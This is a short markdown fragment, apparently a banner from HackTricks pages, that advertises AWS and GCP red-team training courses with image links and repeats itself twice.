Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>